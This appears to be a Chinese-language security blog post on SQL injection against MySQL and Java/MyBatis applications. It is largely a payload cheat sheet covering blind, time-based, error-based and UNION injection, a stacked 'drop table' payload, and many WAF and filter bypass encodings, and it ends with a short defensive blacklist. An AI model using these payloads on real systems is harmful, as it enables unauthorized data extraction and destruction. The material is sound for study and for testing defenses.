与SQL注入可以说的二三事

写在前面

数据库:mysql
语言:java
代码审计发现,mybatis默认使用预编译#传参,只有少部分语句无法直接使用#传参,会报错,所以开发容易忽视这些地方,直接使用默认的.$传参,这就是我们测试sql注入的重要关注点。

order by
like
in

注入点(Mysql)

Tip: http传参不能带空格,用+代替

比如注释符,mysql的注释符是--空格#,从前端输入sql语句用--+,实际上经过url解码,传入数据库时变成--空格

普通参数注入

盲注

盲注三种类型

  1. 基于时间的
  2. 基于布尔的
  3. 基于报错的

orderby排序

order by用在sql语句的最后,起一个排序的作用,不能直接用and 1=1来判断

可以用if语句、case whenrand

order by基本用盲注

布尔盲注

mysql> select * from admin order by if(1=1,username,password);

如果1=1成立,按照username排序,反之根据password排序
替换1=1可判断数据库名等操作

mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);

不用if,用rand()
rand(0)和rand(1)

if((length(database())=5),rand(true),rand(false))

greatest(n1,n2…)返回最大的数,(其他函数见->大小于号绕过)

mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=103);
//判断数据库名第一位

延时注入

sleep()是mysql数据库特有,sleep()在where语句中会执行多次,所以查询时间会成倍增长

if(布尔盲注语句,sleep(5),1)

可用benchmark(2000000,md5(404))代替,执行md5(404)2000000次,大概3秒多

  1. 寻找注入点
?orderby=asc,if(now()=sysdate(),sleep(3),0)
//如果系统时间等于当前时间,则mysql查询休眠3秒,否则查询0

//另一种写法:
select * from test order by user_id,(select 1 from (select sleep(3))a)
?order=asc,if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))

//空格用 + 或 /**/ 替代
(select+1+from+(select+sleep(3))a)
(select/**/1/**/from/**/(select/**/sleep(3))a)
  1. 猜数据库长度,数据库名
?orderby=asc,if((length(database())=16),sleep(3),0)
//如果数据库名长度为16,延时3秒

?orderby=asc,if((ascii(substr(database(),$10$,1))=$101$),sleep(3),0)
//如果第10位的ASCII码为101,延时3秒

报错注入

页面要是不回显报错内容则无法判断

//MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,两个函数的返回长度有限,均为32个字符长度
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);

extractvalue(1, concat(0x7e, version()))
updatexml(1, concat(0x7e, version()), 1)
mysql> select * from admin order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

mysql> select * from admin order by extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1))))
,if((length(database())=16),1,(select 1 union select 2))
//看数据库长度,报错说明对了
,if((ascii(substr(database(),$10$,1))=$101$),1,(select 1 union select 2))
//burp一个一个爆数据库名

orderby注入不能使用union查询,但当 $query = (select * from test order by user_id $evil)使用括号进行包裹的时候,此时是可以进行union查询的。

case when

select * from table order by case when 2<3 then 字段 else 1 end

like模糊查询

搜索框注入

SELECT 字段1,字段2 FROM 表名 WHERE username LIKE '%?%';

所以将?部分创造为一个闭合的真值就可以将所有数据注入出来。

select  * from tbl_school where school_name like '%xxx%' or '1%' = '1%'
select  * from tbl_school where school_name like '%xxx%' or '1%' = '2%'

%代表模糊查询

x%代表模糊查询x开头的

%x代表模糊查询x结尾的

%x%代表模糊查询中间含有x的

//判断注入点
模糊查询参数-搜索框
&searchProdName=      //返回全部结果
&searchProdName=a     //返回查询a的结果
&searchProdName=a%'  //返回全部结果
&searchProdName=a%' and 1=1 and '%'=' //同上
&searchProdName=a%' and 1=2 and '%'=' //同上,说明没用

//删表
select * from tbl_school where school_name like '%xxx';drop table tbl_test;#%' 

利用技巧

绕过

过滤特殊符号

  1. 过滤空格
以下符号与空格等效,可以放在函数名与括号之间,且数量不限,比如select/*123*//*222*/database/*123*/();与select database();是等效的。
+
/*任意字符*/
%0a(回车符)
%20,%09,%0b,%0c,%0d,%a0
tab键

包裹关键字代替空格,mysql中括号用来包围子查询,因此,任何可以计算出结果的语句都可以用括号围起来
例如select(username)from(member)
()
``
  1. 过滤=
like
不加通配符的like执行的效果和=一致,所以可以用来绕过。
mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
regexp MySQL中使用 REGEXP 操作符来进行正则表达式匹配
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

大于小于号
!<>
select * from users where !(id <> 1);
  1. 过滤and,or
and = &&
or = ||
xor = | # 异或
not = !

  1. 过滤大于小于号
- greatest(n1,n2...)找出最大的数
mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=102); 
mysql> select * from user where id = 1 and greatest(ascii(substr(database(),1,1)),1)=102; 
- least(n1,n2...)返回最小值
- strcmp(str1,str2)比较两字符串,相同返回0,1小于2返回-1,1大于2返回1
mysql> select * from user where id = 1 and 1=strcmp(ascii(substr(database(),1,1)),102);
- in
- between a and b 范围在a-b之间
  1. 过滤引号
十六进制 0x
select column_name  from information_schema.tables where table_name=0x7573657273

char(97,100)
'abc'=unhex(616263)
宽字节(GBK编码)%bf%27 %df%27 %aa%27
  1. 过滤逗号
join
from for
>mysql select substr("string" from 1 for 3)
offset 针对limit后的逗号

过滤关键字

  1. 内联注释-针对mysql
    /!*union*/
  2. 等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

条件语句

case when
if()
ifnull(exper1,exper2)判断exper1是否为空,是则用exper2代替
nullif(exper1,exper2) 如果expr1= expr2 成立,那么返回值为NULL,否则返回值为expr1。
isnull(exper) 判断exper是否为空,是则返回1,否则返回0
rand() 不算条件语句,order by排序可代替if

mysql的xml函数

updatexml
extractvalue
  1. 特殊字符进行关键字拆分
`、~、!、@、()、[]、.、-、+ 、|、&、%、,、'、"
举例关键字拆分:'se'+'lec'+'t'、(SeL)(EcT)等
  1. 大小写绕过
  2. 如果是删除关键字的情况用双写绕过
  3. 编码绕过,绕waf
url编码绕过 %55nIon(union)
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

十六进制编码绕过 0x mysql数据库也可以执行

unicode编码绕过
一些unicode编码举例:    
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

双重编码

HPP参数污染

假设提交的参数为

id=1&id=2&id=3

解析

Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3

union联合查询

union后面select的列数不能超过表的最大列数,不然会报错
所以不能用order by判断列数的情况下可以直接union查询判断

mysql> select * from admin where id=1 union select 1,user(),3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    3 | bdmin          | fdmin    |
|    2 | admin          | ddmin    |
|    1 | cdmin          | bdmin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
4 rows in set (0.02 sec)

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

mysql> select * from admin where id=-1 union select 1,user(),3;

mybatis

定义了三种sql语句,开发在加黑名单过滤时可能重写其中一种方法做过滤。

  • RawSql表示为原生的sql语句,在初始化即可确定sql语句;
  • SimpleDynamicSql表示简单的动态sql,即sql语句中参数通过 p r o p e r t y property property方式指定,参数在sql生成过程中会被替换,不作为sql执行参数;
  • DynamicSql表示动态sql,即sql描述文件中包含isNotNull、isGreaterThan等条件标签。

防御

  1. 预编译参数
  2. 白名单
  3. 黑名单

前面两种方式比较安全,但是白名单不适用于全局过滤,容易影响业务

黑名单过滤规则参考:

wafbypass

//进来的数据先转小写
//特殊字符
`、~、!、@@、(、.、--、+ 、|、^、&&、%0、%20,%a0,0x、,、'、"、/*、\、#、;、=、<、>
//关键字
case,when,and,or,order,select,union,drop,delete,update,replace,where,having,add,into,insert,join,concat,from,for,betweenmaster,truncate,create,exec,regexp,like,offset,
order,limit
//函数,正则匹配函数与左括号之间的任意字符
if,isnull,version,load_file,outfile,database,schema,user,system_user,session_user,benchmark,current_user,sleep,xmltype,receive_message,rand,strcmp,updatexml,extractvalue,floor,ascii,substr,char,hex,count,declare,exp,procedure analyse,ceil,atan,sqrt,tan,sign,greatest,sub,mid,lpad,rpad,left,reverse

//说明:
//以下符号与空格等效,可以放在函数名与括号之间,且数量不限,比如select/*123*//*222*/database/*123*/();与select database();是等效的。
+
%20
/*任意字符*/
%0a
%0d
%0c
%09
//包裹关键字代替空格,例如select(username)from(member)
()
``

你可能感兴趣的:(web安全)